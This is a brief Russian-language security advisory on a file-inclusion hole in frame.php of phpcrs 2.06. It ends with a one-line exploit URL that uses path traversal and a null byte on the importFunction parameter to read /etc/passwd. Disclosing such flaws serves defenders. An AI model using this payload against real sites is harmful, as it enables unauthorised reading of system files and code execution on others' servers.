Программа: phpcrs 2.06

Уязвимость позволяет удаленному пользователю выполнить произвольный PHP
сценарий на целевой системе. Уязвимость существует
из-за недостаточной обработки входных данных в параметре «btnStartImport»
сценарием frame.php. Удаленный пользователь может выполнить произвольный PHP
сценарий на целевой системе с привилегиями Web сервера.

Эксплоит:

http://site.com/frame.php?btnStartImport=xxx&importFunction=../../../../../etc/passwd%00



Оставить мнение